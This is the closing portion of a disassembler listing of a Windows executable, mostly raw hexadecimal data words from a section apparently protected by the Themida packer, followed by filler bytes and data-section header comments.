		dd 0E6616122h, 2B12D040h, 462BEC3Ch, 8AA9E1B8h,	8FBF66C2h
		dd 73B96645h, 800FF5D8h, 6, 0CD0CEF81h,	81BA2984h, 0F3CEE03h
		dd 68Bh, 0DADE8100h, 665D924Dh,	0DD8AF78Bh, 23F38060h
		dd 0AE9h, 2CECAF00h, 381060C1h,	6192F649h, 58E0Fh, 81660000h
		dd 0E9F078EBh, 0Fh, 1D1A6F3Bh, 0E9A3E4AFh, 0A4B813FDh
		dd 0F3A3D33h, 68Bh, 1DD38100h, 0F2BD094h, 8B0FF8B7h, 0Fh
		dd 7E860h, 0D3330000h, 1B52885Ch, 80615E7Ah, 0E381E2F4h
		dd 26E8ABB6h, 13E9h, 0CA4EFE00h, 8BF40132h, 5117C6A3h
		dd 5ACEF06h, 0B9769CC8h, 0BE9h,	8D3B8000h, 4FA99C51h, 3053C6D7h
		dd 0DE9h, 0E867AE00h, 1A4416DAh, 97416CE4h, 9B0BF73h, 5FF88A57h
		dd 8937DB81h, 0C7817FC6h, 1AE03E77h, 0AEC926B8h, 1E8C0F53h
		dd 0F000000h, 188Eh, 12E800h, 0B3AC0000h, 928BA51Bh, 0A169A1B3h
		dd 0FCDB5EC7h, 304CD976h, 0E4D58058h, 585BB151h, 8AF9C68Bh
		dd 0AE9C8h, 0F7BF0000h,	455A966Ah, 0DE55DD3Eh, 66FFBF0Fh
		dd 0FD772B8h, 388h, 0DEB70F00h,	0EE9h, 0AD4D6700h, 55DEDB30h
		dd 2220B451h, 66F822B5h, 80E738BEh, 8B664FCBh, 9E850F9h
		dd 3000000h, 0A54E331Fh, 43F45940h, 0FE9h, 0A0FE5800h
		dd 91040CDEh, 0FF107D5Eh, 0CD36B090h, 0BA665A5Bh, 0DA8AA9F9h
		dd 43E08051h, 44DB815Fh, 8161301Bh, 0DA14DFC2h,	0C028BA66h
		dd 10E9730Fh, 16000000h, 0AB17D02Bh, 3384FCD1h,	48D3DF9Dh
		dd 56E5B6DBh, 6850Fh, 810F0000h, 0
		dd 0F781665Ah, 0E857AF9Fh, 0Ch,	0A6A4FDC0h, 0D5164D46h
		dd 0EB700C6Ah, 860Fh, 5B5B0000h, 10E9h,	0B4C7A700h, 0A255890Eh
		dd 0F7A4EC67h, 0F2DD9D39h, 8A0FF900h, 3, 66FA8B66h, 0E71BE281h
		dd 28D0Fh, 0BFB30000h, 70FBA50h, 0E95E786Fh, 10h, 265FB2Ah
		dd 0CEBD1595h, 9E9E7BEh, 1990DE5Ch, 2820F60h, 8B000000h
		dd 0C88B61D1h, 0AA15F281h, 0BB66465Dh, 52F8A79Dh, 16E68166h
		dd 81605E6Dh, 5F2BF8F3h, 7E91Ch, 83D70000h, 875F4F21h
		dd 0C3816157h, 4DCAD640h, 10E9h, 55134800h, 171B7534h
		dd 0BE10B64Ch, 45785B31h, 0FEBF0F94h, 8E0FEB8Ah, 5, 0D18B6660h
		dd 36EE8161h, 815E6B44h, 0B4E11CC6h, 0BF0F6033h, 0E4BB66D6h
		dd 8B6661AAh, 6810FDEh,	50000000h, 0FBA3BB66h, 60F98B5Eh
		dd 0AFCBDE81h, 80516F7Ah, 615B6CDAh, 13870Fh, 0EE90000h
		dd 4F000000h, 5CE91017h, 379765BEh, 0CE67A41Ch,	8E960h
		dd 30890000h, 0DFE812A7h, 0B70FF734h, 0F5660C1h, 87h, 8B665B00h
		dd 8B6661FAh, 9E9C2h, 19E0000h,	9C788CA8h, 0E9F74C06h
		dd 14h,	53575014h, 35AB9B73h, 1CD7A5EFh, 0FB7FB844h, 9A727CB8h
		dd 0EA8166FCh, 0B96639EBh, 5E9D370h, 0AE000000h, 0B558576Fh
		dd 81C2BF0Fh, 0CB7431CEh, 0F6C8811Bh, 0E905967Dh, 7, 0D433AD8Eh
		dd 5297D6F9h, 58F9B70Fh, 2790DF81h, 0D28006ABh,	5081B460h
		dd 5BD6B70Fh, 0E9DFB70Fh, 14h, 0E8CFD6E1h, 0DA6D8E72h
		dd 0EBEDEE59h, 638B77Ch, 2D7BB8D0h, 13E8h, 183E0600h, 408C90ABh
		dd 0D7C92806h, 0D01C63D0h, 96DBE8FEh, 0CE95Ah, 107A0000h
		dd 8800C672h, 6F4BA896h, 6053C72Ah, 6CB2D88Bh, 0B8665961h
		dd 0BE66AFB2h, 0C18B0C61h, 0BE9h, 955E3900h, 7BB7B5F9h
		dd 7F25A982h, 0BBFAE180h, 3709A658h, 66C3B70Fh,	8166CB8Bh
		dd 666D70E6h, 34EEE881h, 6840F60h, 81000000h, 1651C9C1h
		dd 0DCD28154h, 610BB7E7h, 0C8B0Fh, 8C0F0000h, 6, 9875F681h
		dd 0BA66272Dh, 5E51B3B7h, 28D0Fh, 0F88B0000h, 9E9h, 0A4E3E00h
		dd 55B045CCh, 800FD013h, 0
		dd 57D7B70Fh, 0B810Fh, 6E90000h, 0E9000000h, 0DCEADCA3h
		dd 8B5658A3h, 0D88158C6h, 36755A15h, 9890Fh, 0F600000h
		dd 0B866CABFh, 0BF61395Ah, 60B4978Bh, 0E9C78B66h, 11h
		dd 9112E653h, 0A02B465Ch, 18D50C45h, 5E4D9E88h,	0CFBF0FC1h
		dd 0B8C0Fh, 880F0000h, 5, 1DE68166h, 0CE8166AFh, 0BE90011h
		dd 0D1000000h, 11C11FA1h, 4781D567h, 60F9E7B0h,	19E18166h
		dd 5890F3Fh, 66000000h,	91BBD181h, 2860F61h, 8B000000h
		dd 93BF60DAh, 0E91F8109h, 14h, 0B8B21D4Fh, 5E76FB2Dh, 93942EF4h
		dd 9A002837h, 93BBCA7h,	6870F61h, 81000000h, 0D95DA6E3h
		dd 0FE7B21Dh, 8166C1BFh, 0B8BDEEEFh, 1CE6AAD7h,	8166C78Ah
		dd 0E9030BEAh, 0Bh, 2FE84259h, 0C8A27C08h, 66D139C3h, 0D8D7D181h
		dd 0E9FB8B66h, 10h, 57223AE6h, 0EDABF335h, 898E9666h, 19CBF3D5h
		dd 0AE960h, 4F620000h, 0C06C3596h, 0A223BDE8h, 58C0Fh
		dd 5FBB0000h, 615DAA99h, 0E252E881h, 7E915A9h, 0
		dd 0CB344314h, 816612C8h, 0F3AAAE9h, 280h, 66CB8A00h, 810FC38Bh
		dd 7, 1860Fh, 50FC0000h, 3870Fh, 8B660000h, 5E959D7h, 17000000h
		dd 6EC387DBh, 6E8F5h, 0EF1A0000h, 0D421E6F0h, 0FE959h
		dd 0C1C70000h, 92938169h, 0DD5ABECBh, 0F6348099h, 666060D7h
		dd 0B866D38Bh, 8161E683h, 67602BF0h, 0D88B6149h, 8820Fh
		dd 8F0F0000h, 2, 59BA6160h, 500DA7A5h, 6E8h, 0B2C68400h
		dd 0E9F6E873h, 13h, 0E32A333Bh,	21BE00ECh, 9908A23Ch, 7401305h
		dd 58042660h, 0E95A525Eh, 14h, 7B7F38F6h, 0F49CA68Ah, 0E2348C24h
		dd 61414EB7h, 221C35C6h, 198B0F60h, 0E9000000h,	14h, 65F849A2h
		dd 0F821921h, 125F741Eh, 8032E3F0h, 55B2A897h, 0FE8h, 19CC7E00h
		dd 0D7F5A187h, 6B3D6A6Ch, 10F765DEh, 615BD98Bh,	5C9DBE66h
		dd 0FC8BF0Fh, 181h, 0D18BF900h,	36BE6652h, 7FB35989h, 6C37D381h
		dd 81665395h, 0E9102ACFh, 9, 47F39113h,	0B3AC7D82h, 10E81Bh
		dd 6CB80000h, 0E7CC4CB5h, 0B4C17817h, 0CDDF3750h, 59FC29C6h
		dd 11E960h, 0A0D40000h,	98DE54D4h, 0A85DFA7Dh, 9BDDFC58h
		dd 0B344656Dh, 60506128h, 61F28B66h, 8166575Eh,	5FACBCD3h
		dd 890Fh, 0E8F80000h, 0Bh, 0D032138Fh, 44DA8634h, 57BD32EEh
		dd 595EC38Bh, 0C783DE81h, 0F18B2D2Bh, 995C2ABBh, 4880F73h
		dd 66000000h, 0E83563BFh, 0Fh, 212B184h, 83067DCCh, 3A2CEF86h
		dd 0E925FC00h, 0Bh, 0FAD371CEh,	0DF0735D3h, 581D021Dh
		dd 0DE9h, 0C889EB00h, 9335F770h, 0A5D607C6h, 0C18B3818h
		dd 4A07C681h, 860F2751h, 17h, 0BE8h, 5007F000h,	664F3200h
		dd 6C871EE0h, 0FAF3D281h, 53595044h, 0F73B75Ah,	581h, 0B70F6000h
		dd 0F5661F8h, 128Eh, 0DE900h, 33BD0000h, 89BFE7E4h, 19271494h
		dd 58A7AE98h, 8E9h, 0EEC2E100h,	0AED6EEA0h, 0B86660D5h
		dd 0BF0F88EDh, 0BF0F61F8h, 0DE8B57F6h, 0D981665Eh, 8D0F1CA2h
		dd 5, 0D68B6660h, 0D880F561h, 9E90Ah, 94FF0000h, 63A8272h
		dd 8017EDC2h, 0EE822EBh, 80000000h, 24A8E974h, 684BD370h
		dd 0DAAB4ACFh, 0B2DB81F7h, 5A0B482Ch, 1C08166h,	0BE908h
		dd 0B0A60000h, 7F75608Ch, 6718BA9Eh, 0E97FB3A2h, 0Bh, 0A243DA4Fh
		dd 3EFBB595h, 0F857533Bh, 60FFB70Fh, 11E8h, 35834B00h
		dd 0AFF2A37h, 0D76C1243h, 888A1Dh, 99B0BC3Ah, 0D68B665Ah
		dd 81D98B61h, 43775CD6h, 0B136B968h, 0F38169F9h, 2CD3CC0Ah
		dd 0E980D98Bh, 18F0F09h, 0FC000000h, 14E9F5h, 321D0000h
		dd 554FF78Ah, 6FE88208h, 0C86DE461h, 0E70D60F4h, 0B70F5A0Eh
		dd 0EFAAB9D3h, 7FBB34A7h, 8B0D811Fh, 83C6B9CBh,	0BE660D94h
		dd 6E92FA0h, 0A2000000h, 45C5C18Bh, 0C381665Fh,	66602D40h
		dd 3BB4EF81h, 61F08B66h, 8E9h, 0D7087000h, 572D7C89h, 0A5BB6686h
		dd 0D18B5369h, 3830F5Eh, 51000000h, 8E95EF5h, 0D4000000h
		dd 0A3993E69h, 0F1D424Ch, 168Eh, 11E900h, 0CFF0000h, 9B83B1F7h
		dd 5F8AAA5Bh, 8B925368h, 80D19251h, 0D98BAFC0h,	0BE8h
		dd 0A4E64D00h, 9EBACC11h, 0BBAAF24Fh, 0E880F5Eh, 0E9000000h
		dd 9, 0D96755DCh, 9743A5E3h, 66D48AF5h,	79A7CE81h, 66C9BF0Fh
		dd 6660C68Bh, 0F27F2B8h, 282h, 61FDB600h, 5E9FE8Bh, 0A7000000h
		dd 65871D82h, 0FCF28166h, 0F2BF0F14h, 2E78BB66h, 0EE9h
		dd 2A5B1B00h, 7482DCBBh, 1449D6E3h, 0F7A839Ah, 0B89h, 0DD806000h
		dd 870F3Ah, 61000000h, 0F062FDB9h, 42D2817Eh, 66010CE6h
		dd 0DE9DA8Bh, 7C000000h, 0EF97ED42h, 295335B7h,	0DF32F05Bh
		dd 6672C380h, 0B2C331BFh, 8162B063h, 0F30CD4E8h, 0F3EB73Dh
		dd 0F08BD3BFh, 7AD68166h, 8E9E5h, 0B39C0000h, 0C082F08Bh
		dd 8B661FAEh, 0F2C480D8h, 48B5B966h, 0CE860h, 9A1D0000h
		dd 0D6033D12h, 942C31A9h, 0CF8B97A9h, 61D88B5Bh, 60C0B70Fh
		dd 95CCBE52h, 51595EB7h, 5BFA8B66h, 8E961h, 71390000h
		dd 0B0739AA4h, 0A6B09393h, 58D0Fh, 81660000h, 80C5B3DBh
		dd 8E99BC3h, 92000000h,	0D192518Bh, 666BA1E5h, 66400EBBh
		dd 8166C18Bh, 81570BF1h, 479E6F3h, 0E8816646h, 14E8CDA6h
		dd 95000000h, 0F83CB7E0h, 0F3B73D9Eh, 5D6186ADh, 6359D99Dh
		dd 0BE24AEF7h, 3A7F52CBh, 8D3805Fh, 0B70FDA8Bh,	0AE956CAh
		dd 0E9000000h, 0B0D2991Fh, 68E5D18h, 8C0F5FDEh,	1, 0CE8B66F5h
		dd 0CE9F9h, 0E3720000h,	0B9CAB34h, 510C011Ah, 8E9CCADh
		dd 0FA000000h, 84D51073h, 0E8D58E2Ah, 0Fh, 0E4C8F09h, 53FEDDF1h
		dd 0C2A27EA8h, 5A7EC9F1h, 9DC68166h, 0CE9ABh, 0E0550000h
		dd 0D1ADD477h, 40CE076Eh, 13E9F328h, 0F8000000h, 0FDA5390h
		dd 68242066h, 3E84D9BEh, 0DC27E18Eh, 0FF9584Eh,	78Ch, 1820F00h
		dd 0F5000000h, 7E9h, 10D4BC00h,	2281360Ch, 63BB866h, 9DB9D38Bh
		dd 8B5369BCh, 0F181F8F3h, 5BAA104Eh, 8FC18166h,	9E8D6h
		dd 6E680000h, 726ABB18h, 81C51888h, 5A1C2CD1h, 0BA665F71h
		dd 0FE87FDFh, 20000000h, 6F7E1F98h, 21C0FBA7h, 0B45DAEAEh
		dd 14E9248Ch, 0D3000000h, 1CD0EAC8h, 97E1DECFh,	6CF91A13h
		dd 6897104h, 5E64C7D7h,	0FC6BF0Fh, 860FF3B7h, 0
		dd 810FC4B3h, 6, 0A10AF281h, 0B8661BA0h, 0F7815E45h, 7BE83C71h
		dd 11800Fh, 0CE90000h, 2A000000h, 0BFF7FA2Fh, 91CD4019h
		dd 66B5B065h, 0B111AAB8h, 8166F820h, 66233FF7h,	0FB95BBBh
		dd 8F0FFFBFh, 6, 8B0Fh,	880F0000h, 2, 8E0FB4B1h, 0
		dd 4840Fh, 0BE660000h, 8B669273h, 0CCD881C7h, 0E96D6A3Ch
		dd 0Fh,	1D92E5B8h, 0FF1F5F97h, 38574F29h, 0F55112A6h, 8BF98B66h
		dd 68F0FC7h, 81000000h,	0C10EDC0h, 0F7816670h, 0EE97654h
		dd 0E8000000h, 6588056Ch, 901FEAF1h, 0B04BFB90h, 0C981663Bh
		dd 0D881C078h, 26F9F02Ah, 60C38A60h, 35E78166h,	94C980B8h
		dd 0DF816161h, 3F741013h, 18E0Fh, 66F80000h, 0E9B187BFh
		dd 0Fh,	0AC54B2A1h, 82D82538h, 1F581198h, 0FD2773Eh, 128Bh
		dd 0DE900h, 265E0000h, 0B47E623Ah, 0CC9F5F17h, 0FBE5DC8h
		dd 88h,	0EA816600h, 0BF0F7BF0h,	8D0FD7h, 0F000000h, 5E9DFB7h
		dd 0A4000000h, 0D741ACABh, 6880Fh, 0DE810000h, 64745064h
		dd 8890Fh, 0F600000h, 88h, 6E96100h, 0DA000000h, 53D8FCE5h
		dd 0EB816642h, 0B8666697h, 0C1B14073h, 0F901C880h, 1207B966h
		dd 6E9h, 4367DF00h, 0E911A559h,	7, 20A224h, 0E95C7C62h
		dd 0Eh,	0B28D022Dh, 0B24CF3C8h,	871B05D1h, 860F1183h, 14h
		dd 0FE9h, 95A09B00h, 8608892Bh,	0B7A60756h, 84021AB2h
		dd 7003BE66h, 503FB6F9h, 22BA5BFCh, 8A50586Ch, 0DE8153FAh
		dd 34544475h, 66C28A59h, 0F3CA8BBh, 784h, 21BB5700h, 5B75C657h
		dd 8BF5CA8Bh, 0DE860C7h, 0FC000000h, 8DD14A5Dh,	14DD77FFh
		dd 6A40004Eh, 830Fh, 0F85F0000h, 81D08B61h, 6249CEBh, 0DE809h
		dd 0AD220000h, 0CE30A9Fh, 0FFA3929Bh, 0E94B4D8Dh, 12h
		dd 970D107Bh, 0DE3CDD0Fh, 1E904D70h, 5D7D4D37h,	0E95AA7C1h
		dd 0Ah,	7FD26EE2h, 0CFDBDF15h, 0AE99BA7h, 7E000000h, 0C658F205h
		dd 0A689D1CEh, 8766BE11h, 6651327Dh, 14AFD081h,	4830F59h
		dd 51000000h, 0F5E58B2h, 0F081C1BFh, 58746C5Bh,	58D38166h
		dd 39B95731h, 5E72BFEAh, 38A0Fh, 0BF0F0000h, 0C38B66CAh
		dd 8BEA8166h, 0D3BF0F66h, 11E8h, 3198A200h, 0BE0284EDh
		dd 0DE65BF33h, 3A02E83Fh, 0F60F086h, 81h, 28E98100h, 61780267h
		dd 6964BE5Ah, 0CE904D2h, 43000000h, 9DC93E99h, 8E2ECE2Dh
		dd 81E47611h, 1505A9CEh, 3870F77h, 0F000000h, 850FD2BFh
		dd 1, 0F38166FCh, 50572976h, 0F575958h,	0E85FFBB7h, 9
		dd 23FAC3B3h, 4995EE71h, 65BA66E9h, 13E95FE3h, 16000000h
		dd 98F61F60h, 0C151F825h, 0BE774AD3h, 6CC6966Eh, 8EB7C62Bh
		dd 66FA8B66h, 8AA358BEh, 6E8D3h, 37D40000h, 697B34B3h
		dd 0BBCE8B60h, 39249B8Dh, 0F1B25961h, 148C0F56h, 0E9000000h
		dd 0Fh,	1CEC7F13h, 3144034Bh, 0DF7060E1h, 58A288CCh, 5BF8B452h
		dd 0F60C38Bh, 8Bh, 58D0F00h, 66000000h,	673BCF81h, 0DFBF0F61h
		dd 0FF08B66h, 680h, 90D08100h, 510ACF2Eh, 8A60605Bh, 840FD1h
		dd 61000000h, 5261D98Bh, 59E7CC80h, 800Fh, 0DD8A0000h
		dd 81666053h, 66A854E6h, 0A2F1DE81h, 9E95961h, 0C4000000h
		dd 7929F122h, 0DB2D1860h, 0FF590B1h, 8Dh, 8B666000h, 61D78BD0h
		dd 3830F60h, 80000000h,	0B2616EC7h, 0BE67B6C6h,	7D7C6D9h
		dd 0E7810EB6h, 74FB8F8h, 7F7D60B9h, 0C2816620h,	76B108E8h
		dd 8AC5BE66h, 14E9h, 0F0D8D300h, 705BA9h, 89F7B12h, 6C99314Ch
		dd 0AE877A4h, 0D08B6646h, 0EEEF8166h, 8820F24h,	0F000000h
		dd 281h, 80C8B000h, 9BB9B7C9h, 0B8428E9Ch, 7EBCC24Fh, 0FC78B66h
		dd 886h, 2840F00h, 53000000h, 27E28159h, 0F7557FAh, 8Fh
		dd 0F2816600h, 6660D7C5h, 15AF681h, 0DE8h, 0AAF08300h
		dd 7EEED8B1h, 39EAE3A8h, 6160A3CAh, 0C1BB615Ah,	81134A1Dh
		dd 5D58BDEh, 1840F1Ah, 0F8000000h, 7E9h, 0AEAA9700h, 0C797F561h
		dd 59C78B56h, 26C4BF66h, 0F48AF960h, 60535161h,	0F5A5E61h
		dd 88h,	1D880F00h, 0E8000000h, 14h, 0BA7BFE5h, 80EA18C7h
		dd 4BADD61Fh, 0A89146B2h, 524B0DFCh, 5EC28B66h,	0FBC3C981h
		dd 0FD8A3240h, 6BC38166h, 914FBAFFh, 0CE979C6h,	60000000h
		dd 405A6366h, 0A327CEC4h, 0E94D4182h, 14h, 0E1800C9Ah
		dd 0D2C97D21h, 0DB460C40h, 48F8B604h, 0F5D83EC6h, 0DE9h
		dd 2CAD3100h, 4D64CB70h, 238199BCh, 60F58F86h, 9C61D181h
		dd 0E857591Ch, 9, 2D0DF6BAh, 0FE0244BEh, 615E5F2Ah, 3810Fh
		dd 0E7800000h, 0EE924h,	39EF0000h, 1770A865h, 4C8C3C4Bh
		dd 0D9593F95h, 14E9h, 0FF93BC00h, 849B6E3Dh, 12DBA4A0h
		dd 9D05EBB4h, 4F3929B1h, 66F28B67h, 4DD5E681h, 2C2EB5B8h
		dd 0E0816652h, 0AE8931Bh, 21000000h, 57F52169h,	6D97EB5Eh
		dd 0C88B66E9h, 95C3815Eh, 0E941C2D5h, 0Fh, 2BE12A39h, 0E82363E5h
		dd 2D4B3686h, 0B454117Ch, 0DF8B6690h, 14E9F9h, 0DB350000h
		dd 0B0EDA56Dh, 0FCB6504Dh, 0F0FDF483h, 99AD4C44h, 24F9E0F0h
		dd 3D7h	dup(25213A6Bh),	8FCBED6Bh, 384h	dup(8FCBED78h)
		dd 0BFE4ED78h, 23h dup(0BFE4A294h), 8E4A294h, 0B9h dup(89AC12Fh)
		dd 0E789B2Fh, 53h dup(0E789B28h), 215h dup(0D3DCB3A2h)
		dd 43DCB3A2h, 1AAh dup(4389CC61h), 55Ah	dup(0CCCCCCCCh)
		db 3 dup(0CCh)
asc_5D4D5B	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: ___:off_431980o
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'лллллллллллллллллллллллллллллллллллллллллллллллллллллллл',0
		dd 22Ch	dup(0)
dword_5D5F68	dd 26h dup(0)		; DATA XREF: Themida_:off_557CE7o
Themida_	ends

; Section 5. (virtual address 001D6000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001D6000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5D6000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start